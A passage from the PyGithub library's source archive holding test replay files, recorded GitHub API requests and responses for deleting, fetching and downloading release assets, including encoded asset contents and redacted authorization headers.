title","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T17:15:11Z","assets":[{"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22874909","id":22874909,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODc0OTA5","name":"foobar.zip","label":"","uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"application/zip","state":"uploaded","size":140,"download_count":0,"created_at":"2020-07-14T17:15:11Z","updated_at":"2020-07-14T17:15:12Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.25.2/foobar.zip"}],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"release message"} https DELETE api.github.com None /repos/rickrickston123/RepoTest/releases/28553933 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:15:12 GMT'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4728'), ('X-RateLimit-Reset', '1594749125'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', '8A0A:0D15:11BC455:1E1EE01:5F0DE820')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GitReleaseAsset.setUp.txt0000644000175100001660000001414214756101563023044 0ustar00runnerdockerhttps GET api.github.com None /repos/EnricoMi/PyGithub/releases/197548596 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Thu, 30 Jan 2025 11:23:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"5e07469159b3d5b40d60dfc7afbbc6f30d335742391f72bfb00043f5592ef06f"'), ('Last-Modified', 'Thu, 30 Jan 2025 11:12:00 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4986'), ('X-RateLimit-Reset', '1738238051'), ('X-RateLimit-Used', '14'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '8038:1BC725:153E414:15DD493:679B6135')] {"url":"https://api.github.com/repos/EnricoMi/PyGithub/releases/197548596","assets_url":"https://api.github.com/repos/EnricoMi/PyGithub/releases/197548596/assets","upload_url":"https://uploads.github.com/repos/EnricoMi/PyGithub/releases/197548596/assets{?name,label}","html_url":"https://github.com/EnricoMi/PyGithub/releases/tag/v1.55","id":197548596,"author":{"login":"EnricoMi","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/EnricoMi","html_url":"https://github.com/EnricoMi","followers_url":"https://api.github.com/users/EnricoMi/followers","following_url":"https://api.github.com/users/EnricoMi/following{/other_user}","gists_url":"https://api.github.com/users/EnricoMi/gists{/gist_id}","starred_url":"https://api.github.com/users/EnricoMi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnricoMi/subscriptions","organizations_url":"https://api.github.com/users/EnricoMi/orgs","repos_url":"https://api.github.com/users/EnricoMi/repos","events_url":"https://api.github.com/users/EnricoMi/events{/privacy}","received_events_url":"https://api.github.com/users/EnricoMi/received_events","type":"User","user_view_type":"public","site_admin":false},"node_id":"MDc6UmVsZWFzZTE5NzU0ODU5Ng==","tag_name":"v1.55","target_commitish":"main","name":"Test Release","draft":false,"prerelease":true,"created_at":"2021-04-26T04:43:40Z","published_at":"2025-01-30T11:12:00Z","assets":[{"url":"https://api.github.com/repos/EnricoMi/PyGithub/releases/assets/224868540","id":224868540,"node_id":"RA_kwDOGpsAJ84NZzi8","name":"asset1.md","label":null,"uploader":{"login":"EnricoMi","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/EnricoMi","html_url":"https://github.com/EnricoMi","followers_url":"https://api.github.com/users/EnricoMi/followers","following_url":"https://api.github.com/users/EnricoMi/following{/other_user}","gists_url":"https://api.github.com/users/EnricoMi/gists{/gist_id}","starred_url":"https://api.github.com/users/EnricoMi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnricoMi/subscriptions","organizations_url":"https://api.github.com/users/EnricoMi/orgs","repos_url":"https://api.github.com/users/EnricoMi/repos","events_url":"https://api.github.com/users/EnricoMi/events{/privacy}","received_events_url":"https://api.github.com/users/EnricoMi/received_events","type":"User","user_view_type":"public","site_admin":false},"content_type":"text/markdown","state":"uploaded","size":2524,"download_count":0,"created_at":"2025-01-30T11:11:32Z","updated_at":"2025-01-30T11:12:00Z","browser_download_url":"https://github.com/EnricoMi/PyGithub/releases/download/v1.55/asset1.md"},{"url":"https://api.github.com/repos/EnricoMi/PyGithub/releases/assets/224868556","id":224868556,"node_id":"RA_kwDOGpsAJ84NZzjM","name":"asset2.gz","label":null,"uploader":{"login":"EnricoMi","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/EnricoMi","html_url":"https://github.com/EnricoMi","followers_url":"https://api.github.com/users/EnricoMi/followers","following_url":"https://api.github.com/users/EnricoMi/following{/other_user}","gists_url":"https://api.github.com/users/EnricoMi/gists{/gist_id}","starred_url":"https://api.github.com/users/EnricoMi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnricoMi/subscriptions","organizations_url":"https://api.github.com/users/EnricoMi/orgs","repos_url":"https://api.github.com/users/EnricoMi/repos","events_url":"https://api.github.com/users/EnricoMi/events{/privacy}","received_events_url":"https://api.github.com/users/EnricoMi/received_events","type":"User","user_view_type":"public","site_admin":false},"content_type":"application/gzip","state":"uploaded","size":1199,"download_count":0,"created_at":"2025-01-30T11:11:37Z","updated_at":"2025-01-30T11:12:00Z","browser_download_url":"https://github.com/EnricoMi/PyGithub/releases/download/v1.55/asset2.gz"}],"tarball_url":"https://api.github.com/repos/EnricoMi/PyGithub/tarball/v1.55","zipball_url":"https://api.github.com/repos/EnricoMi/PyGithub/zipball/v1.55","body":"This is a test released used by PyGithub tests."} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GitReleaseAsset.testDownloadAssetFile.txt0000644000175100001660000002744014756101563026220 0ustar00runnerdockerhttps GET api.github.com None /repos/EnricoMi/PyGithub/releases/assets/224868540 {'Accept': 'application/octet-stream', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 302 [('Date', 'Thu, 30 Jan 2025 11:23:34 GMT'), ('Content-Type', 'text/html;charset=utf-8'), ('Content-Length', '0'), ('Location', 'https://objects.githubusercontent.com/github-production-release-asset-2e65be/446365735/eae43c8b-293d-4fb1-b84c-734756819b27?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250130%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250130T112334Z&X-Amz-Expires=300&X-Amz-Signature=78c0e68e3309763fc6177b92cdc5cdec72567faab31a964fee5a3ed26b479fde&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Dasset1.md&response-content-type=application%2Foctet-stream'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4985'), ('X-RateLimit-Reset', '1738238051'), ('X-RateLimit-Used', '15'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '8044:37FAB:14ABC13:154B137:679B6136')] https GET objects.githubusercontent.com None /github-production-release-asset-2e65be/446365735/eae43c8b-293d-4fb1-b84c-734756819b27?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250130%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250130T112334Z&X-Amz-Expires=300&X-Amz-Signature=78c0e68e3309763fc6177b92cdc5cdec72567faab31a964fee5a3ed26b479fde&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Dasset1.md&response-content-type=application%2Foctet-stream {'Accept': 'application/octet-stream', 'User-Agent': 'PyGithub/Python'} None 200 [('Connection', 'keep-alive'), ('Content-Length', '2524'), ('Content-Type', 'application/octet-stream'), ('Last-Modified', 'Thu, 30 Jan 2025 11:11:33 GMT'), ('ETag', '"0x8DD411EDB0E39C3"'), ('Server', 'Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0'), ('x-ms-request-id', '64fa4512-201e-0070-1b08-7358a2000000'), ('x-ms-version', '2025-01-05'), ('x-ms-creation-time', 'Thu, 30 Jan 2025 11:11:33 GMT'), ('x-ms-blob-content-md5', '0CEYVYQcHfnGxCWG82h1Yw=='), ('x-ms-lease-status', 'unlocked'), ('x-ms-lease-state', 'available'), ('x-ms-blob-type', 'BlockBlob'), ('Content-Disposition', 'attachment; filename=asset1.md'), ('x-ms-server-encrypted', 'true'), ('Via', '1.1 varnish, 1.1 varnish'), ('Fastly-Restarts', '1'), ('Accept-Ranges', 'bytes'), ('Age', '442'), ('Date', 'Thu, 30 Jan 2025 11:23:34 GMT'), ('X-Served-By', 'cache-iad-kcgs7200088-IAD, cache-ams2100109-AMS'), ('X-Cache', 'MISS, HIT'), ('X-Cache-Hits', '0, 0'), ('X-Timer', 'S1738236214.434808,VS0,VE1')] IyBQeUdpdEh1YgoKWyFbUHlQSV0oaHR0cHM6Ly9pbWcuc2hpZWxkcy5pby9weXBpL3YvUHlHaXRodWIuc3ZnKQ== XShodHRwczovL3B5cGkucHl0aG9uLm9yZy9weXBpL1B5R2l0aHViKQohW0NJXShodHRwczovL2dpdGh1Yi5jbw== bS9QeUdpdGh1Yi9QeUdpdGh1Yi93b3JrZmxvd3MvQ0kvYmFkZ2Uuc3ZnKQpbIVtyZWFkdGhlZG9jc10oaHR0cA== czovL2ltZy5zaGllbGRzLmlvL2JhZGdlL2RvY3Mtc3RhYmxlLWJyaWdodGdyZWVuLnN2Zz9zdHlsZT1mbGF0KQ== XShodHRwczovL3B5Z2l0aHViLnJlYWR0aGVkb2NzLmlvL2VuL3N0YWJsZS8/YmFkZ2U9c3RhYmxlKQpbIVtMaQ== Y2Vuc2VdKGh0dHBzOi8vaW1nLnNoaWVsZHMuaW8vYmFkZ2UvbGljZW5zZS1MR1BMLWJsdWUuc3ZnKV0oaHR0cA== czovL2VuLndpa2lwZWRpYS5vcmcvd2lraS9HTlVfTGVzc2VyX0dlbmVyYWxfUHVibGljX0xpY2Vuc2UpClshWw== U2xhY2tdKGh0dHBzOi8vaW1nLnNoaWVsZHMuaW8vYmFkZ2UvU2xhY2slMjBjaGFubmVsLSUyMCUyMC1ibHVlLg== c3ZnKV0oaHR0cHM6Ly9qb2luLnNsYWNrLmNvbS90L3B5Z2l0aHViLXByb2plY3Qvc2hhcmVkX2ludml0ZS96dA== LWR1ajg5eHR4LXVLRlp0Z0FnMjA5bzZWd2VxbTh4ZVEpClshW09wZW4gU291cmNlIEhlbHBlcnNdKGh0dHBzOg== Ly93d3cuY29kZXRyaWFnZS5jb20vcHlnaXRodWIvcHlnaXRodWIvYmFkZ2VzL3VzZXJzLnN2ZyldKGh0dHBzOg== Ly93d3cuY29kZXRyaWFnZS5jb20vcHlnaXRodWIvcHlnaXRodWIpClshW2NvZGVjb3ZdKGh0dHBzOi8vY29kZQ== Y292LmlvL2doL1B5R2l0aHViL1B5R2l0aHViL2JyYW5jaC9tYXN0ZXIvZ3JhcGgvYmFkZ2Uuc3ZnKV0oaHR0cA== czovL2NvZGVjb3YuaW8vZ2gvUHlHaXRodWIvUHlHaXRodWIpClshW0NvZGUgc3R5bGU6IGJsYWNrXShodHRwcw== Oi8vaW1nLnNoaWVsZHMuaW8vYmFkZ2UvY29kZSUyMHN0eWxlLWJsYWNrLTAwMDAwMC5zdmcpXShodHRwczovLw== Z2l0aHViLmNvbS9wc2YvYmxhY2spCgpQeUdpdEh1YiBpcyBhIFB5dGhvbiBsaWJyYXJ5IHRvIGFjY2VzcyB0aA== ZSBbR2l0SHViIFJFU1QgQVBJXS4KVGhpcyBsaWJyYXJ5IGVuYWJsZXMgeW91IHRvIG1hbmFnZSBbR2l0SHViXQ== IHJlc291cmNlcyBzdWNoIGFzIHJlcG9zaXRvcmllcywgdXNlciBwcm9maWxlcywgYW5kIG9yZ2FuaXphdGlvbg== cyBpbiB5b3VyIFB5dGhvbiBhcHBsaWNhdGlvbnMuCgpbR2l0SHViIFJFU1QgQVBJXTogaHR0cHM6Ly9kb2NzLg== Z2l0aHViLmNvbS9lbi9yZXN0CltHaXRIdWJdOiBodHRwczovL2dpdGh1Yi5jb20KCiMjIEluc3RhbGwKCmBgYA== YmFzaApwaXAgaW5zdGFsbCBQeUdpdGh1YgpgYGAKCiMjIFNpbXBsZSBEZW1vCgpgYGBweXRob24KZnJvbSBnaQ== dGh1YiBpbXBvcnQgR2l0aHViCgojIEF1dGhlbnRpY2F0aW9uIGlzIGRlZmluZWQgdmlhIGdpdGh1Yi5BdXRoCg== ZnJvbSBnaXRodWIgaW1wb3J0IEF1dGgKCiMgdXNpbmcgYW4gYWNjZXNzIHRva2VuCmF1dGggPSBBdXRoLlRvaw== ZW4oImFjY2Vzc190b2tlbiIpCgojIEZpcnN0IGNyZWF0ZSBhIEdpdGh1YiBpbnN0YW5jZToKCiMgUHVibGljIA== V2ViIEdpdGh1YgpnID0gR2l0aHViKGF1dGg9YXV0aCkKCiMgR2l0aHViIEVudGVycHJpc2Ugd2l0aCBjdXN0bw== bSBob3N0bmFtZQpnID0gR2l0aHViKGJhc2VfdXJsPSJodHRwczovL3tob3N0bmFtZX0vYXBpL3YzIiwgYXV0aA== PWF1dGgpCgojIFRoZW4gcGxheSB3aXRoIHlvdXIgR2l0aHViIG9iamVjdHM6CmZvciByZXBvIGluIGcuZ2V0Xw== dXNlcigpLmdldF9yZXBvcygpOgogICAgcHJpbnQocmVwby5uYW1lKQoKIyBUbyBjbG9zZSBjb25uZWN0aW9ucw== IGFmdGVyIHVzZQpnLmNsb3NlKCkKYGBgCgojIyBEb2N1bWVudGF0aW9uCgpNb3JlIGluZm9ybWF0aW9uIGNhbg== IGJlIGZvdW5kIG9uIHRoZSBbUHlHaXRIdWIgZG9jdW1lbnRhdGlvbiBzaXRlLl0oaHR0cHM6Ly9weWdpdGh1Yg== LnJlYWR0aGVkb2NzLmlvL2VuL3N0YWJsZS9pbnRyb2R1Y3Rpb24uaHRtbCkKCiMjIERldmVsb3BtZW50CgojIw== IyBDb250cmlidXRpbmcKCkxvbmctdGVybSBkaXNjdXNzaW9uIGFuZCBidWcgcmVwb3J0cyBhcmUgbWFpbnRhaQ== bmVkIHZpYSBHaXRIdWIgSXNzdWVzLgpDb2RlIHJldmlldyBpcyBkb25lIHZpYSBHaXRIdWIgUHVsbCBSZXF1ZQ== c3RzLgoKRm9yIG1vcmUgaW5mb3JtYXRpb24gcmVhZCBbQ09OVFJJQlVUSU5HLm1kXS4KCltDT05UUklCVVRJTg== Ry5tZF06IGh0dHBzOi8vZ2l0aHViLmNvbS9QeUdpdGh1Yi9QeUdpdGh1Yi9ibG9iL21haW4vQ09OVFJJQlVUSQ== TkcubWQKCiMjIyBNYWludGFpbmVyc2hpcAoKV2UncmUgYWN0aXZlbHkgc2Vla2luZyBtYWludGFpbmVycyB0aA== YXQgd2lsbCB0cmlhZ2UgaXNzdWVzIGFuZCBwdWxsIHJlcXVlc3RzIGFuZCBjdXQgcmVsZWFzZXMuCklmIHlvdQ== IHdvcmsgb24gYSBwcm9qZWN0IHRoYXQgbGV2ZXJhZ2VzIFB5R2l0SHViIGFuZCBoYXZlIGEgdmVzdGVkIGludA== ZXJlc3QgaW4ga2VlcGluZyB0aGUgY29kZSBhbGl2ZSBhbmQgd2VsbCwgc2VuZCBhbiBlbWFpbCB0byBzb21lbw== bmUgaW4gdGhlIE1BSU5UQUlORVJTIGZpbGUuCg== https GET api.github.com None /repos/EnricoMi/PyGithub/releases/assets/224868556 {'Accept': 'application/octet-stream', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 302 [('Date', 'Thu, 30 Jan 2025 11:23:35 GMT'), ('Content-Type', 'text/html;charset=utf-8'), ('Content-Length', '0'), ('Location', 'https://objects.githubusercontent.com/github-production-release-asset-2e65be/446365735/fe97f261-2422-4ee7-b080-b41991c18d74?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250130%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250130T112335Z&X-Amz-Expires=300&X-Amz-Signature=f407b9076decc56b2e1fa8266292e12ec37d0ff75b2f9fa2c88f06467f5c4aa5&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Dasset2.gz&response-content-type=application%2Foctet-stream'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4984'), ('X-RateLimit-Reset', '1738238051'), ('X-RateLimit-Used', '16'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'DE9C:1AB48B:157A946:1619B4C:679B6136')] https GET objects.githubusercontent.com None /github-production-release-asset-2e65be/446365735/fe97f261-2422-4ee7-b080-b41991c18d74?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250130%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250130T112335Z&X-Amz-Expires=300&X-Amz-Signature=f407b9076decc56b2e1fa8266292e12ec37d0ff75b2f9fa2c88f06467f5c4aa5&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Dasset2.gz&response-content-type=application%2Foctet-stream {'Accept': 'application/octet-stream', 'User-Agent': 'PyGithub/Python'} None 200 [('Connection', 'keep-alive'), ('Content-Length', '1199'), ('Content-Type', 'application/octet-stream'), ('Last-Modified', 'Thu, 30 Jan 2025 11:11:37 GMT'), ('ETag', '"0x8DD411EDD6F45C4"'), ('Server', 'Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0'), ('x-ms-request-id', '3d1464c0-a01e-0023-7a09-737b96000000'), ('x-ms-version', '2025-01-05'), ('x-ms-creation-time', 'Thu, 30 Jan 2025 11:11:37 GMT'), ('x-ms-blob-content-md5', 'RttfZbsGgE9+IX1ifB7xdQ=='), ('x-ms-lease-status', 'unlocked'), ('x-ms-lease-state', 'available'), ('x-ms-blob-type', 'BlockBlob'), ('Content-Disposition', 'attachment; filename=asset2.gz'), ('x-ms-server-encrypted', 'true'), ('Via', '1.1 varnish, 1.1 varnish'), ('Fastly-Restarts', '1'), ('Accept-Ranges', 'bytes'), ('Age', '0'), ('Date', 'Thu, 30 Jan 2025 11:23:35 GMT'), ('X-Served-By', 'cache-iad-kcgs7200038-IAD, cache-ams21063-AMS'), ('X-Cache', 'MISS, MISS'), ('X-Cache-Hits', '0, 0'), ('X-Timer', 'S1738236215.195400,VS0,VE92')] H4sICPWaYWcAA1JFQURNRS5tZACVVmFv2zYQ/c5fwSYYZgO1FHTA0BoIiixNXGNJ6iXuCiwIHEo6S4wpUiUpOw== 7rD/vjtKsl3DQzMjMSjy3d27u3eUj/lkPZL+Y50wdv/qfrKejB96hfeVG8axLPPIFRJU5iJp4mpdyXgZB4OiTg== IrfM+1swnUbV2hdGR8bmDbrD9tmr+/Mdz3njITXlBrJdrIxdzJVZufh8HCciyyGEIn4WROYLyEzq/pNmsIgJMg== cF4kCgaJlXnhcwugydN759cKTudK+O/4t6R2YpA70HHjJn4fPJ82T4HOlUxBO/gBFdWgBlejydUgUTXsVQ5ZrQ== 5EJWkEkRSkdP8ejm8+wKnAM7G4EGK9RsUifoa9ZGDQzulEgXP4gfMD+9OUkLoTWoAS7x7xCTJyOxQgQPrfGbog== DCprniD1sSuEhWwm9VJ6iL/5QVY/vX337J8H9e+Xf/n8LH9z8s78+ucKvpZvn+GPQPJTBZrfmdqmwD+CqsDudA== b7VaYbAMvJUCO01xu6jbRUjExTVWw+1xfol9YEGg1Cy3lu0GFSovDugwsUKnRVwK58HGuRVVsSPHF/sJwc8Rww== g+6GPHlBz8gnNilYDILB4CR89mLvDFLl5nFA9hnrhppLxwWOOE0lVxIzsmvuDRdpitLiKHN+3yJvL+6m/AzHPw== YtMCzTo0aJK742tTk2UpNJa5s3rgFlxorOOuTgsuHO5UxklvrAT3mlPLOKpnLhU9Cp1xlLjQ8pvw0mjHpSbXtg== IymqCjXenEV4J+2zG/Iu9TCgO/njoCIZ35nsILcgxo6P+VjjCCvF2OPjYyJcwSpZIY2wybuu0WFA38myUsA/QA== aYJFc8WxuTUlbxxzRBjreWvIjvlZjZXVvs2DmpDBXGrI+FKK1ioi0CE3YR+d1E7qHAu2aZZZgGYCT/lpAEVT2g== 6R0157NwftQn00tpnecp3mQesP+j1j+lqFMYEqS5S/gXSDreObptlj0KckpfwVtrfqFxDCorHfAV7vC0dh7JFw== xnktSti1x6rCrLbq9Khrwd8d7J9Y0FvklyPUwndRplgxXimxbrwHTbSRTUJ3jxuyubFBXiSaPMrBz0hevX5YBg== 3fX6Q8bxgzy179FWRFGbCIanyiD91OA9mDbyE3PMilTK8iic9vqb1n8waV1iH0MXGbs2FjAykiibvqbYnAT43A== 1KRq3YzTZvSyXWuOEwHR/3nbIH9rsjrQjApfqn7DCZagTEWO6fmYnxsEyqT2qBbGrozOB5hRyTPpsEOOYtPQJQ== dR5KZz3mjHmUAgOIjSZbzmPnasC5C9eVhaWEVVCv0bALm9Q4KbfwFbGepvQS+1LuV4cy4/fnn26mt+PfPk/HNw== o6jMHmim9/cOTeqh+1iZJCbe8Z6DphDXXUYWb9OKsS/wMzISWECs2Jo7gAUNVLmFYcOER7lhMs3bA3Ol/EPBKg== ytG2OYadtPa4oQDFjUmP5+FKpB8r1HvB21dk41Rhmyx6dJvfV8FFIZY0kEv0iYWXNFG4JDkvACqiRxqiy58LJQ== CYtGK1DqNfLHJQoOMAFFN7EzJVBfZCO867PxzRT/L27vOF22EfsXoc0EItwJAAA= ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GitReleaseAsset.testDownloadAssetStream.txt0000644000175100001660000002744014756101563026574 0ustar00runnerdockerhttps GET api.github.com None /repos/EnricoMi/PyGithub/releases/assets/224868540 {'Accept': 'application/octet-stream', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 302 [('Date', 'Thu, 30 Jan 2025 12:21:26 GMT'), ('Content-Type', 'text/html;charset=utf-8'), ('Content-Length', '0'), ('Location', 'https://objects.githubusercontent.com/github-production-release-asset-2e65be/446365735/eae43c8b-293d-4fb1-b84c-734756819b27?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250130%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250130T122126Z&X-Amz-Expires=300&X-Amz-Signature=d873e75eb478a9e5e9c21975f40f7616c6f07803deae1a05c72cb00be37fb081&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Dasset1.md&response-content-type=application%2Foctet-stream'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4995'), ('X-RateLimit-Reset', '1738243279'), ('X-RateLimit-Used', '5'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'D896:30E08B:16F37B7:17A638D:679B6EC6')] https GET objects.githubusercontent.com None 